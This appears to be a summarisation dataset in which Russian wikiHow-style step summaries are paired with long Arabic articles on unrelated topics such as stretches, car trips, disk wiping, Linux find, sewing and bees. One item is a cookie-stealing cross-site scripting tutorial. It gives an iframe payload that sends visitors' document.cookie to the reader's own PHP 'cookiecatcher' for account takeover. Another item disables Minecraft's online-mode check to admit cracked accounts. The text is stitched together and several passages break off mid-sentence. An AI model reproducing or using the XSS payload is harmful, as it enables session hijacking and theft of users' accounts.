لديك عضلتان شبه منحرفتين في جسمك؛ واحدة على كل جنب من جانبي عمودك الفقري تصنعان شكلًا مثلثًا من أعلى عنقك إلى كتفك وحتى منتصف ظهرك. تسمى الأجزاء الثلاثة للعضلة شبه المنحرفة العضلات شبه منحرفة العليا والمتوسطة والثانوية. للقيام بذلك، استلقِ على ظهرك مع ثني ركبتيك. ضع كرة تنس تحت ظهرك على بعد بوصة واحدة من عمودك الفقري. ابدأ بالجزء العلوي من ظهرك ثم انتقل إلى أسفل. استلقِ على كرة التنس لمدة ثماني إلى 60 ثانية ثم حرّك الكرة إلى الأسفل. اذهب إلى الأسفل حتى تصل إلى الحوض العلوي ولا تنسَ أن تمرّن كلا جانبي ظهرك. يبدو هذا أسوأ مما ستشعر به! ضع المرفق والجزء السفلي من الذراع على طاولة أو منضدة بحيث يتم دعمهم. استخدم الذراع الآخر لقَرص العضلة شبه المنحرفة العلوية بين رقبتك وكتفك. استمر لمدة ثماني إلى ستين ثانية ثم قم بعمل الشيء نفسه للجانب المقابل. لا تغرس أصابعك في كتفك، فقط قم بشد العضلة نفسها. استلقِ على ظهرك وابدأ وذراعيك لأسفل على جانبيك. حرك ذراعيك بحيث يكون النصف الأعلى من الذراعين صانعًا زاوية 90 درجة مع الأرض والنصف الأسفل من ذراعيك يصنع زاوية 90 درجة مع النصف الأعلى من ذراعيك. بعد ذلك أخفض يديك للمس الأرض من خلف رأسك. مد يديك بشكل مستقيم فوق رأسك مع راحة يديك إلى السقف. بعد ذلك حرك ذراعيك لأسفل حتى يصنع النصف الأعلى من ذراعيك زاوية 90 درجة مع جسمك. كرر ذلك من ثلاث إلى خمس مرات. على الرغم من أن عضلات الصدر ليست جزء من العضلة شبه المنحرفة، إلا أن شدها لا يزال يفيد العضلة شبه المنحرفة. للقيام بذلك ستحتاج إلى الوقوف في مدخل مفتوح أو بجانب زاوية الجدار. ارفع ذراعك بجانب المدخل أو الحائط بحيث يكون الجزء من يدك حتى المرفق مستندًا على المدخل أو الجدار. يجب إراحة راحة يدك على المدخل أو الجدار. حرك الساق التي على نفس الجانب من جسمك خطوة واحدة إلى الأمام. قم بتحريك جسمك خارج المدخل أو الجدار إلى أن تشعر بشد أسفل عظمة الترقوة. يمكنك تحريك ذراعك إلى أعلى وأسفل لتمرين أجزاء مختلفة من نفس العضلة.


Найдите удобное положение. Вздремните. Почитайте книгу. Возьмите блокнот. Играйте в слова. Общайтесь.

Given the above summary, write a detailed text in Arabic for it.

قد تجد صعوبة في الاسترخاء داخل سيارة ضيقة. جرّب وضع وسادتك على ركبتيك، ثم مِل إلى الأمام تجاه ركبتيك، أو ضعها في الناحية التي ستميل بها برأسك حتى تتمكن من النوم بينما تغطي أشعة الشمس وجهك. إذا كان هناك مساحة كافية، قد ترفع قدميك على المنضدة الموجودة بين الكرسيين الأماميين أو تتمدد بجسمك على جنبك لتفرد رجليك. تذكر، الأمان أولًا: اربط حزام الأمان طوال فترة الرحلة، حتى في أوقات سعيك الحصول على بعض الراحة. رحلات السيارة الطويلة فرصة مثالية لنيل قسطًا من الراحة، خاصة إذا كنت ستبدأ رحلتك في الصباح. لا تنسَ إحضار وسادة قبل مغادرة المنزل حتى تجد شيئًا تريح رأسك عليه. حينما تستيقظ، ستكون اقتربت من وجهتك ومرت بضعة ساعات. يمكن أن يساعدك قناع النوم وزوج من سدادات الأذن على حجب الضوضاء والضوء غير المرغوب فيه، مما يجعلك تنام بسهولة وسلام. ضع كتابين على الأقل في حقيبتك التي ستبقيها معك وابدأ في قراءتهما حينما تشعر بالرغبة في القيام بنشاط هادئ. القراءة وسيلة فعالة لمحاربة الملل وتشغلك عن التفكير في طريق السفر الطويل.  اختر أفضل الكتب مبيعًا أو كتب الخيال المعروفة التي لا تتطلب الكثير من التركيز. يمكن للقراءة بداخل السيارة أن تصيب بعض الناس بالغثيان. إذا كنت تشعر بأنك بدأت تصاب بالغثيان داخل السيارة، استرح لبعض الوقت. ضع بعض الأوراق والأقلام الجاف أو الرصاص معك في حقيبتك الخاصة. ستتمكن بهذه الطريقة من الرسم أو تدوين أفكارك حينما تشعر بأن الوقت يمر ببطء. يمكن لرحلة سيارة طويلة أيضًا أن تكون فرصة جيدة لاستكمال مهام الواجب المنزلي غير المكتملة.  مرر المفكرة ذهابًا وإيابًا لأحد الأصدقاء والعب معه بعض الألعاب المعتمدة على الورق، مثل: لعبة "إكس أو" أو لعبة الحروف المفقودة أو لعبة توقع المستقبل.  تواصل مع الجانب المبدع بداخلك عبر كتابة يومياتك أو كتابة قصيدة أو قصة قصيرة. شارك مع الآخرين بالأدوار في لمح لافتات وألواح أرقام السيارات أو حل الألغاز المحيرة. تعتبر ألعاب الكلمات رائعة لأن كل ما ستحتاجه للمشاركة هو خيالك فقط. يوجد بعض الألعاب الشهيرة الأخرى مثل:   أنا الجاسوس: وهي لعبة يصف فيها أحد اللاعبين شيئًا ما حول السيارة أو بداخلها وعلى الآخرين تخمين ما هو ذلك الشيء الذي يصفه.  لعبة الأسئلة: حيث يسأل كل شخص عشرين سؤالًا كحد أقصى من أسئلة "نعم أم لا"، لتساعد الأسئلة اللاعبين على تخمين اسم شخص ما أو مكان أو شيء ما.  هل تفضل: وهي أن...


Найдите укромное место. Заранее приведите себя в порядок. Намекните, что готовы к поцелуям. Следите за реакцией партнера. Наклонитесь для поцелуя.

Given the above summary, write a detailed text in Arabic for it.

قد تشعر بالتوتر لخوفك من إفساد الأمر، لذلك تأكد من عدم وجود متفرجين لتقليل توترك. تجنب التقبيل في صالات السينما أو عند خروجكما مع الأصدقاء، بل يُفضل أن تنفرد بها وأن تكونا بمفردكما، كأن تشاهدا فيلمًا في المنزل أو تتنزها في الخارج أو أي مكان آخر خالي من الناس.  تجنب رغبتك في غلق الأضواء تمامًا. قد تظن أن الظلام الحالك سيخفف من حدة توترك ويخفي سقطاتك، ولكنه سيكون أمرًا صعبًا خاصة في المرة الأولى للتقبيل؛ فلن تتمكن من تحديد كيف ستتحرك أو ملاحظة ردات فعل شريكتك. دع التقبيل في الظلام لوقتٍ تكونا فيه على ارتياح مع بعضكما البعض. يمكنك خفض الأضواء قليلًا وكأن الأمر تلقائيًا إن كنتما في غرفة نوم أو في قبو. قم بتهيئة الجو العام المناسب للحظتكما الرومانسية. تأكد من تهيئة الجو إن كانت حبيبتك ستزورك في منزلك لقضاء بعض الوقت بمفردكما واحتمالية أن تقبلا بعضكما عالية. قم بترتيب غرفتك واتفق مع رفيق سكنك ألا يقاطعكما وأن المكان نظيف وحسن الرائحة ومهيّأ للتقبيل. ابذلي بعض الجهد لتكونين في أفضل حالاتك إن كنت تشعرين باقتراب اللحظة الساحرة، فسيزيد هذا من ثقتك بنفسك ويجعلك مُغرية للطرف الآخر. لا تبالغي من الأمر وإلا ستزيدين من توترك، ولكن اكتفي بأن تكوني في أحسن حالاتك ليحسن ذلك من أدائك. هذه بعض النصائح لمساعدتك، سواء كنتِ فتاة أم كنتَ شابًا:  نظِّف نفسك بصورة سريعة. يمكنك القيام ببعض الأشياء البسيطة إن لم يكن لديك الوقت الكافي للاستحمام، كتنظيف أنفك وغسل أسنانك ورش المياه على أي جزء من جسدك رائحته سيئة وضع مزيل رائحة العرق. ضع عطر لطيف. للشباب قم برش العطر مرة أو مرتين حول رقبتك وصدرك، ولا تزد من العطر حيث يصعب الأمر إذا كانت رائحتك شديدة الفوحان. أما للفتيات قومي برش العطر بضعة مرات أو ضعي مرطب ذي رائحة جميلة على رقبتك وصدرك وذراعيكِ وساقيكِ. نظّف فمك. كن مستعدًا بمضغ العلكة أو النعناع قبل تقبيلها دون أن تلحظ هي ذلك بالطبع. يمكنك مضمضة بعض الماء إن لم تجد أي شيء لتنعش به فمك. يمكنك أيضًا وضع بلسم الشفاه لتتخلص من التشققات. تجنب تناول الأطعمة ذات الرائحة القوية قبل ذهابك لموعدك مع حبيبتك. قومي بضبط مستحضرات التجميل. تأكدي من أن مظهرك جيدًا وتجنبي الإكثار في وضع بلسم الشفاه أو ملمع الشفاه حتى لا يشعر حبيبك بالضيق من طعمه. استمر في القبلات إن كان تقبيل من تحب أمرًا ليس صعبًا وقم بتجربة بعض الطرق المطروحة في الجزء الثاني. يعتبر...


Найдите установочный диск Windows. Скачайте DBAN (Darik's Boot and Nuke) Запишите DBAN на CD/DVD-диск. Вставьте записанный CD/DVD-диск с программой DBAN в компьютер, а затем перезагрузите его. Нажмите Enter, чтобы выбрать «Interactive Mode» (Интерактивный режим). Нажмите пробел, чтобы выбрать форматируемый диск, а затем нажмите F10, чтобы запустить форматирование. Извлеките CD/DVD-диск из дисковода, когда на экране отобразится слово «Pass» (Завершено). Вставьте установочный диск Windows и перезагрузите компьютер.

Given the above summary, write a detailed text in Arabic for it.

لا تنفذ هذه الطريقة إلا إن كنت متمرسًا حيث تؤدي تهيئة القرص الصلب إلى حذف كل البيانات الموجودة على جهاز الكمبيوتر، بما في ذلك نظام ويندوز، وستحتاج إلى أسطوانة تثبيت لإعادة تثبيت نظام التشغيل بعد تهيئة القرص الصلب. يمكنك استعارة أسطوانة تثبيت من صديق طالما أنها لنفس الإصدار المثبت حاليًا على الجهاز. . الطريقة الوحيدة لحذف بيانات القرص الصلب لجهازك بصورة دائمة هي استخدام أداة حذف خارجية، وينصح الخبراء باستخدام أداة دي بان المجانية. ستحصل على صورة أيزو من برنامج دي بان على جهاز الكمبيوتر بعد تنزيله. اقرأ مقال حرق-ملفات-أيزو-على-اسطوانة-دي-في-دي-مدمجة للحصول على إرشادات حول كيفية حرق ملفات أيزو على أسطوانة. سينخرط جهاز الكمبيوتر في عملية إعادة تشغيل يتم خلالها تهيئة القرص الصلب. يسمح لك هذا الوضع بتحديد كيفية تهيئة أداة دي بان للقرص الصلب. تستغرق هذه العملية عدة ساعات ويعتمد الوقت المستغرق على حجم القرص الصلب وسرعته. يمكنك الاطلاع على الوقت "المتبقي" أعلى الجهة اليمنى من الشاشة لتتبع تقدّم العملية. يعني ظهور هذه الكلمة أن عملية حذف البيانات قد تمت بنجاح بعد حذف بيانات القرص الصلب وإعادة الكتابة في مكانها. ستبدأ الآن عملية تثبيت نظام ويندوز على القرص الصلب الذي انتهيت من تيهئته للتو، وتؤدي إعادة تشغيل جهاز الكمبيوتر إلى الإقلاع إلى برنامج تثبيت ويندوز مباشرة. انقر على زر "تثبيت" أو "متابعة" لبدء عملية التثبيت ثم اتبع الإرشادات الظاهرة على الشاشة لتحديد خيارات التثبيت.


Найдите уязвимый сайт, на котором можно размещать контент. Перейдите к созданию поста. Создайте и загрузите свой php-скрипт, который будет получать данные. Опубликуйте JavaScript-код. Использование полученных куки.

Given the above summary, write a detailed text in Arabic for it.

مواقع تبادل الآراء بالمنشورات هي أفضل مثال. تذكر أنه لو كان هذا الموقع محميّ جيّدًا، فلن تعمل هذه الطريقة. ستحتاج لكتابة بعض الأكواد الخاصة (الشيفرات البرمجية) في منشورك هذا، مما سيسمح لك بالحصول على معلومات كل شخص يضغط عليه. يجب أن تختبر فيما إذا كان الموقع يقوم بتصفية المنشورات المحتوية على أكواد برمجية. اكتب <script>window.alert(“test”)</script> في حال ظهرت لك رسالة تحذيرية عندما تضغط على نشر، فالموقع يمكن اختراقه بهذه الطريقة. الهدف من إجراء هذا الهجوم هو الحصول على الكوكيز الخاصة بالمستخدم (أي سجل نشاطاته على الانترنت) مما يخولك بالوصول إلى حسابه الخاص بالموقع الذي يعاني من ثغرات تسجيل الدخول. ستحتاج إلى برنامج الحصول على الكوكيز، الذي سيقوم بجلب الكوكيز الخاصة بالضحية ثم تغيير وجهتها لتصل إليك. قم برفع البرنامج إلى موقع لديك صلاحيات بالدخول إليه ويدعم php. اكتب الكود المناسب في المنشور والذي سيقوم بدوره بجمع الكوكيز وإرسالهم إلى موقعك. ستودّ أن تضيف بعضًا من النّص بعد الكود من أجل أن تبعد الغموض عنك وتحفظ منشورك من أن يتم حذفه. مثال على الكود <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> بعد ذلك، يمكنك استخدام معلومات الكوكيز، والتي يجب أن يتم حفظها في موقعك، لأي غرض تريده.


Найдите файл «server.properties». Переименуйте файл. Откройте файл. Задайте IP-адрес сервера. Удалите онлайн-проверку. Сохраните изменения.

Given the above summary, write a detailed text in Arabic for it.

يظهر هذا الملف بداخل مجلد خادم ماين كرافت "Minecraft Server". ستحتاج إلى حذف النقطة بين كلمتي "server" و "properties" لتتمكن من تحرير الملف، ويمكنك فعل ذلك عن طريق النقر على الملف بزر الفأرة الأيمن ثم اختيار إعادة تسمية من القائمة المنسدلة الناتجة ثم حذف النقطة والضغط على زر الإدخال ↵ Enter ثم النقر على خيار موافق عندما يُطلب منك ذلك. يمكنك على نظام ماكنتوش فتح القائمة ملف ثم اختيار إعادة تسمية... لعرض صندوق إعادة التسمية. يمكنك بعد إعادة تسمية الملف فتحه عن طريق اتباع الخطوات التالية:  "ويندوز": انقر نقرًا مزدوجًا على الملف ثم انقر على خيار المفكرة (Notepad) في النافذة الناتجة ثم انقر على زر موافق. "ماكنتوش": انقر على الملف ثم افتح القائمة ملف ثم فتح بواسطة ثم انقر على خيار تيكست إيديت. اكتب عنوان آي بي الثابت خاصة جهاز الكمبيوتر إلى يسار سطر "server-ip=" أعلى الملف. إن كان عنوان آي بي الثابت خاصة جهاز الكمبيوتر "192.168.2.25" مثلًا، سيكون السطر بالشكل التالي server-ip=192.168.2.25. ابحث عن سطر "online-mode=true" ثم غيّر القيمة "true" إلى false. يسمح لك ذلك بتمكين المستخدمين الذين يمتلكون حسابات ماين كرافت مكسورة الحماية من الانضمام إلى الخادم. استخدم اختصار لوحة المفاتيح Ctrl+S على نظام ويندوز أو ⌘ Command+S على نظام ماكنتوش لحفظ التغييرات ثم أغلق المستند ليتم تطبيق الإعدادات الجديدة عند تشغيل الخادم في المرة التالية.


Найдите файл по его имени.  Начните поиск в корневом каталоге.  Используйте символ обобщения .  Облегчите управление результатами поиска.  Найдите конкретные элементы.  Отфильтруйте результаты поиска по размеру файлов.  Используйте логические операторы (булевы операторы), чтобы объединить поисковые фильтры.  Найдите файлы по владельцу или разрешениям.  Объедините команды, чтобы выполнить определенные действия по завершении поиска файлов.

Given the above summary, write a detailed text in Arabic for it.

هذه هي عملية البحث الأبسط التي يمكن إجراؤها باستخدام الأمر find. سيقوم الأمر التالي مثلًا بالبحث عن المُدخل المقدّم في المسار الحالي والمسارات الفرعية بداخله.  find -iname "filename"   يؤدي استخدام اللاحقة -iname عوضًا عن -name إلى تجاهل حالة أحرف المُدخل، حيث أن الأمر -name حساس تجاه حالة الأحرف. يمكنك البحث في نظام التشغيل بالكامل عن طريق استخدام المعامل / في الاستعلام حيث يؤدي ذلك إلى توجيه الأمر find للبحث في كل المسارات ابتداءً من المسار الرئيسي.   find / -iname "filename"    يمكنك بدء البحث من مسار معيّن عن طريق تغيير المعامل / إلى المسار الذي ترغب ببدء عملية البحث منه، كأن تكتب مثلًا /home/pat. يمكنك استخدام المعامل . عوضًا عن / للبحث في المسار الحالي ومساراته الفرعية فقط. * للبحث عن أي شيء مطابق لجزء من مُدخل البحث. يمكن الاستفادة من الرمز البديل * للعثور على ملف لا تعرف اسمه الكامل أو إن كنت ترغب بإيجاد كل الملفات التي تنتهي بامتداد معيّن.   find /home/pat -iname "*.conf"    سيقوم الأمر السابق بالبحث عن كل الملفات التي تحمل الامتداد ".conf" في مجلد "Pat" والمجلدات الفرعية الموجودة بداخله. يمكنك أيضًا استخدام هذا الرمز البديل للعثور على كل شيء مطابق لجزء من اسم الملف. يمكنك مثلًا إيجاد كل المستندات المتعلقة بويكي هاو عن طريق استخدام المُدخل "*wiki*". يمكن أن يكون تصفح نتائج البحث صعبًا إن حصلت على الكثير من نتائج البحث، ويمكنك في هذه الحالة استخدام الرمز | وإرسال نتائج البحث إلى برنامج تقليص نتائج البحث "less" الذي يسمح لك بتصفح نتائج البحث وترشيحها بصورة أسهل بكثير.   find /home/pat -iname "*.conf" | less يمكنك استخدام المعاملات لإرجاع نتائج بحث من نوع معيّن فقط، حيث يمكنك البحث عن الملفات العادية باستخدام المعامل f أو البحث عن المجلدات فقط باستخدام المعامل d أو عن الروابط الرمزية باستخدام المعامل l أو عن أجهزة الرموز باستخدام المعامل c أو عن أجهزة الوحدات باستخدام المعامل b.   find / -type f -iname "filename" يمكنك ترشيح نتائج البحث وفق الحجم إن كنت تمتلك الكثير من الملفات بنفس الاسم إلا أنك تعرف حجم الملف الذي تبحث عنه.   find / -size +50M -iname "filename"    سيؤدي الأمر السابق إلى إظهار الملفات التي يزيد حجمها عن 50 ميجابايت، علمًا بأنه من الممكن استخدام الرموز + أو - للبحث عن الملفات الأكبر أو...


Найдите футболку, которая хорошо на вас сидит. Сложите футболку пополам. Приколите булавки вдоль внешнего контура спинки. Перенесите контур. Сколите булавками вдоль внешнего контура переда. Перенесите контур. Заколите булавками и обведите рукава. Добавьте к каждой детали припуски на швы. Пометьте детали. Вырежьте и сопоставьте детали.

Given the above summary, write a detailed text in Arabic for it.

أسهل طريقة لخياطة قميص هي عمل مسودة لبترون قميص موجود بالفعل يناسبك تمامًا. الباترون هو نموذج الثوب الذي تعتمدين عليه في الخطوات التالية من أجل الانتهاء من قص وخياطة قميصك الجديد.  يُغطي المقال التعليمي التالي فقط نمط وتصميم القميص الأساسي، إلا أنه يمكنكِ اتباع الخطوات الأساسية للمساعدة في إنشاء بترون قمصان بأشكال أخرى. اثني القميص نصفين عموديًا مع الاحتفاظ بالجوانب الأمامية للخارج وضعي القميص المثني فوق ورقة كبيرة. من الأمثل وضع الورقة على ورق مقوى سميك قبل وضع القميص عليها. يوفر الورق المقوى سطحًا أفضل لإتمام عملية التتبع فوقه. بالإضافة إلى ذلك، سوف تحتاجين إلى إلصاق دبابيس بالورقة وسوف يكون القيام بذلك أسهل للعمل بالورق المقوى. ضعي دبابيس بطول محيط القميص مع الاهتمام بدرز الرقبة الخلفية ودرز تحت الطوق والأكمام.  لن تحتاجي إلى أن تكون الدبابيس التي وضعتينها على الكتف والجانبين وحافة القميص دقيقة لأن الغرض الأساسي منها هو ربط القميص فقط لا غير. الصقي الدبابيس مباشرة  لأسفل خلال الدرز في الورقة لعمل درزة الأكمام وضعي الدبابيس بحيث لا تزيد المسافة بينهم عن 2.5 سم. ضعي الدبابيس على التوالي لأسفل خلال الدرز بحيث تربطين خط الرقبة الخلفي بالياقة لعمل خط الرقبة الخلفي. ضعي الدبابيس بحيث لا تزيد المسافة بينهم عن 2.5 سم. استخدمي قلمًا رصاصيًا لتتبع الخط الخارجي للقميص كله.  تتبعي الكتف والجانبين وأسفل القميص المُدبس. ارفعي القميص وابحثي عن الثقوب التي وضعتينها علامةً على درز الكم ودرز الرقبة بعد تتبع تلك العناصر. تتبعي بطول تلك الثقوب لاستكمال الخط الخارجي لبترون الظهر. حركي القميص المطوي على ورقة جديدة مع وضع دبابيس بطول الخط الأمامي بدلًا من الخلفي.  اتبعي نفس الخطوات المستخدمة في الجزء الخلفي من القميص لوضع الدبابيس بطول المحيط والأكمام للجزء الأمامي من القميص. عادة ما يكون خط الرقبة الأمامي أعمق من الخلفي. ضعي الدبابيس تحت الجزء الأمامي من خط الرقبة تحت الياقة مباشرة لوضع علامات عليه واجعلي الدبابيس متباعدة ب 2.5 سم ومستقيمة لأسفل. تتبعي الخط الخارجي الأمامي كما كنت تتبعي الخط الخارجي الخلفي تمامًا.   تتبعي برفق الكتف والجانبين والجزء السفلي بقلم رصاص أثناء بقاء القميص ثابت في مكانه. أزيلي القميص وتتبعي علامات الدبابيس للرقبة والكم لاستكمال الخط الأمامي. افردي القميص وافردي كم واحد ودبسيه في ورقة نظيفة ثم تتبعي...


Найдите хорошего психотерапевта, который специализируется на гендере. Поговорите с людьми, чей гендер отличается от биологического, и с людьми, которые сомневаются в своей гендерной принадлежности. Изучите информацию на форумах и в пабликах.

Given the above summary, write a detailed text in Arabic for it.

هناك أطباء نفسيين ومستشارين ومتخصصين خدمة اجتماعية اختصصاهم هو الاختلاف الجندري، يمكن لهؤلاء الخبراء مساعدتك على طرح الأسئلة المهمة والإجابة عنها.  ابحث عن مستشارين متخصصين في مجال الهوية الجنسية واضطرابات كراهية الجنس أو مشاكل مثليي الجنس ومزدوجي التوجه الجنسي والمتحولين جنسيًا (الفئات المعروفة اختصارًا بـ "إل جي بي تي"). إذا كان هناك عيادة متخصصة لصحة المتحولين جنسيًا في منطقتك، تواصل معهم لتر ما إن كان لديهم أي أطباء نفسيين متاحين. يمكنك سؤال طبيبك النفسي عن اقتراح لطبيب متخصص يمكنه مساعدتك. أو اعثر على طبيب تتواصل معه عبر الإنترنت لينصحك بخصوص حالتك. سيساعدك التواصل مع أشخاص تحولوا جنسيًا أو أشخاص غير متأكدين من هويتهم الجنسية على فهم نفسك أكثر. من الأماكن التي يمكن أن تجد بها أشخاص كهؤلاء: مجموعات تقابل "الإل جي بي تي كيو" (الاندماج الاجتماعي لأنواع مثليي ومزدوجي الجنس والمتحولين والمتحيرين) أو المناسبات التي يقيمونها أو المراكز الاجتماعية، ويمكنك دائمًا إيجاد كل ما سبق على مواقع التواصل الاجتماعي والتواصل مع مختلف الأشخاص عبر الإنترنت إذا لم يكون الوصول لهم ممكنًا في بلدك. إذا حدث وتعرفت على أي مجموعة من هذا النوع، مثل مجموعة إل جي بي تي أو اتحاد المثليين مع المغايرين، لست مضطرًا للإفصاح لهم فورًا عما يدور بداخلك، قل لهم أنك مناصر لسببهم فحسب أو اشرح أن لديك شكوك حول هويتك الجنسية لكنك لا زلت لا تشعر بارتياح للتحدث عنها عند هذه المرحلة.  لن يرغب كل من تقابلهم بالتحدث عن جنسهم! قد يشعر البعض بأن خصوصيتهم تنكشف إذا سألتهم أسئلة شخصية. جرب أن تذكر تساؤلاتك، وإذا سألوك عن نفسك، يمكنك سؤالهم في المقابل. إذا لم تكن مطمئنًا أو تستطيع السؤال على راحتك، جرب كتابة الأسئلة أو انتظار أن تختلي مع أحدهم لدقائق لسؤاله على انفراد. يمكن أن تقول شيئًا من قبيل "أنا أفكر كثيرًا في هويتي الجنسية، وأنت من الأشخاص الذين يمكن أن أجد لديهم المعرفة ببعض الأسئلة التي تراودني، سأحب التحدث معك إذا وُجد لديك الوقت والطاقة للتحدث معي في أي وقت. ليس لدي أي مشكلة إذا لم ترغب بالتحدث معي عن الأمر ولن أتضايق إذا أخبرتني أن هذا غير مريح لك". هذه من أفضل الطرق للتواصل مع أشخاص مختلفين جنسيًا ومع من لديهم شكوك بشأن هويتهم الجندرية؛ فكر في الانضمام لمجموعة على فيسبوك أو منتدى أصحابه مجهولين الهوية. تأكد من إخفاء معلوماتك الشخصية وأنت تتواصل...


Найдите хороший стол (письменный или обычный) и стул. Обеспечьте достаточное освещение. Подготовьте учебные принадлежности. Содержите все вещи в порядке. Организуйте компьютерные файлы. Решите, нужны ли вам часы.

Given the above summary, write a detailed text in Arabic for it.

يجب أن تكون مرتاحًا لكن ليس لدرجة أن تفقد تركيزك أو تروح في النوم، (على الأرجح أن عرفت بالتجربة أن الفراش ليس أفضل خياراتك لحل فرض منزلي).  كما أنك تحتاج مساحة عمل مناسبة لنشر أغراض مذاكرتك عليها.   جد مكتبًا أو طاولة يصل سطحه بين خصرك وقفصك الصدري حين تجلس إليه بحيث يمكنك وضع مرفقيك عليه بسهولة دون حاجة لتقويس كتفيك للأمام، كما ستحتاج أن تتمكن من وضع قدميك على الأرض.   استخدم كرسيًا مريحًا يناسب ارتفاع المكتب/الطاولة. يمكن ألا يكون خيارك الأفضل هو كراسي المكاتب الأنيقة التي تدور وتتحرك بعجل وتهبط وترتفع وما إلى ذلك إذا كانت ستمثل مصدر تشتيت لك.      تحتاج لتوفير مساحة كافية لوضع الحاسوب على بعد 45 سم إلى 75سم منك إذا كنت تستخدمه. لن يتسبب موقع المذاكرة المظلم بأن تغفو بسهولة فحسب، ولكنها قد تفاقم إجهاد العين أيضًا ما يثبط أي جلسة مذاكرة، كما يمكن أن تكون الأضواء القوية كمصابيح الفلورسنت مضرة لعينيك. استخدم مصباح مكتب لتركيز الضوء على مساحة عملك وكذلك مصباحًا رأسيًا أو موضوعًا على طاولة قريبة لزيادة سطوع المنطقة.  استغل الضوء الطبيعي بالطبع إذا كان متاحًا، لكن تنبّه إلى أن إغراء النظر من النافذة قد يعرقل دراستك، رغم أن الضوء الداخل منها يمكن أن يكون منعشًا ومهدئًا.  فكر في استخدام الستائر أو الأغطية المنفذة لحجب التشتّت أو توجّه بجسمك بعيدًا عن النافذة. تأكد من توافر كافة المواد التي تحتاجها للمذاكرة على مقربة منك حتى لا تهدر الوقت في البحث بعشوائية عن مسطرة أو علبة رصاص الأقلام الجديدة.  احتفظ بلوازم المدرسة التقليدية كالأقلام الرصاص والحبر والمحايات والأوراق والبطاقات وأقلام التحديد ونحو ذلك في أماكنها المخصصة على المكتب أو في درج قريب. احتفظ بقاموس جيب تقليدي ومعجم وآلة حاسبة على مقربة منك حتى لو كان هاتفك يمكنه أداء هذه الوظائف الثلاث؛ وهذا لأن استخدام هاتفك لإجراء القسمة المطولة أو تفقد التهجئة يمثل بابًا مفتوحًا للتشتت بسبب عشرات الأشياء الأخرى التي يمكن استخدامه لفعلها. استفد من أدراج المكتب لإبقاء الأشياء التي تحتاجها قربك ولا تنشرها على سطح المكتب. استخدم الكراتين الصغيرة أو الصناديق أو ما يشبههما من بدائل إذا لم يكن لديك أدراج كافية (أو لم تتوافر أي أدراج أصلًا) والتي يمكنك رصّها على المكتب بامتداد محيط مساحة المذاكرة.  نظّم مواد دراستك حسب البرنامج/ المادة في مجلدات أو مغلفات. ضع علامة واضحة على كل...


Найдите чашку или миску. Наденьте рубашку с длинными рукавами и брюки. Поймайте пчелу в чашку или миску. Подберите подходящую крышку. Просуньте крышку между пчелой и поверхностью, на которой она сидит. Выпустите пчелу на улице.

Given the above summary, write a detailed text in Arabic for it.

يفضل وعاء أو كوب شفاف على الرغم من أن ذلك ليس لازمًا كما يفضل أن يكون من البلاستيك إذ سيقلل انخفاض وزنه من احتمالية تخريب الجدار أو النافذة أثناء عملية الحبس. يمكنك استخدام كوب أو وعاء عادي قد يتوفر في منزلك وبينما قد يسمح الوعاء بمجال أوسع من الخطأ أثناء حبس النحلة، سيكون إبقاء الكوب مغطى وتحريكه عند حبس النحلة أكثر سهولة. يوفر القميص ذو الأكمام الطويلة والبنطال تغطية كاملة لجسمك مما يقلل من احتمالية تعرضك للقرص. لا ترتدِ شورتًا أو قميصًا أثناء حبس النحلة في وعاء. عندما تكون النحلة واقفة على سطح مسطح وأملس، اجلب الوعاء ببطء باتجاه النحلة بيد واحدة وعندما تقترب بمسافة 15 إلى 30 سم من النحلة، ضع الوعاء عليها بسرعة لحبسها بداخله. لا تشرع في حبس النحلة إذا كانت فوق السجادة إذ تكون احتمالية هروبها كبيرة جدًا. يمكنك استخدام مجموعة مختلفة من المواد لتغطية الوعاء الذي قمت بحبس النحله أسفله. إذا تمكنت من حبس النحلة أسفل الوعاء، يمكنك استخدام ورق جرائد مطوي أو صحيفة كاملة من ورق سميك أو مجلد مانيلا وإذا تمكنت من حبس النحلة أسفل كوب، يمكنك استخدام بطاقة فهرسية أو مجلة. ضع في اعتبارك حجم قطر طرف فتحة الكوب أو الوعاء واختر غطاءً يطابقه بشكل مناسب وأيهما اخترت، لابد أن يكون شيئًا رفيعًا نسبيًا. أزلق الغطاء الذي اخترته ببطء بين فوهة الوعاء أو الكوب الذي حبست النحلة أسفله والجدار أو السطح الصلب الذي كانت تقف عليه. ابدأ من إحدى حواف الوعاء وارفعه لأعلى بحجم ملل أو 2 ملل ثم أزلق المجلة أو البطاقة الفهرسية أسفله واستمر في دفعه عبر السطح الذي تقف عليه النحلة. من المحتمل أن تتفاجئ النحلة وتحلق بعد وضع الوعاء عليها؛ سوف يجعل ذلك مهمة زلق الغطاء أسفل الوعاء أكثر سهولة. تحرك إلى باب مفتوح مع تغطية الوعاء الذي قمت باصطياد النحلة بداخله بإحكام وخذ النحلة على بعد عشرة خطوات من المنزل وأزل الورقة التي تحبس النحلة بداخل الكوب أو الوعاء وضع فوهة الكوب أو الوعاء على الأرض وأزل الغطاء. تأكد من أن النحلة حلقت أو زحفت بعيدًا ثم عد إلى منزلك بسرعة وأغلق الباب جيدًا خلفك قبل أن تتمكن النحلة من إيجاد طريق للدخول مرة أخرى. لا تأخذ النحلة بعيدًاجدًا؛ من المحتمل أن تكون الخلية بالقرب منها وسوف تموت بالتأكيد إذا لم تتمكن من الوصول إليها.


Найдите человека из компании, с которым лучше связаться. Изучите сведения о компании. Систематизируйте собранную информацию.

Given the above summary, write a detailed text in Arabic for it.

استعمل لينكد إن (بالإنجليزية: LinkedIn) وفيسبوك (بالإنجليزية: Facebook) وجوجل (بالإنجليزية: Google) والموقع الإلكتروني للشركة لتبحث عن معلومات التواصل مع مسؤول التوظيف بالشركة. حاول أيضًا الاتصال بالمركز الهاتفي الخاص بالشركة وسيعطيك أرقامًا مباشرةً أو ملحقةً إذا كنت تحاول التواصل مع شخص معين. اعرف ما يمكنك تعلمه عن الشركة وابحث عن رسالة الشركة وافهم أهدافهم الأساسية. يمكنك أيضًا أن تبحث عن الموظفين الحاليين ومناصبهم لتتعلم أكثر عن أنواع الأشخاص الذين يتم توظيفهم ولتتعرف على مسئولياتهم.   استعمل لينكد إن والموقع الإلكتروني للشركة وبقية وسائل التواصل الاجتماعي لتجري ذاك البحث. حدد الأشياء التي تعجبك وتهمك بخصوص تلك الشركة قبل إجراء المكالمة، تحسبًا لعرضهم لفرصة عمل معينة عليك. إذا كنت تخطط للتواصل مع عدة شركات، نظم المعلومات التي تحصل عليها عن كل شركة في جدول خاص بها. احرص على 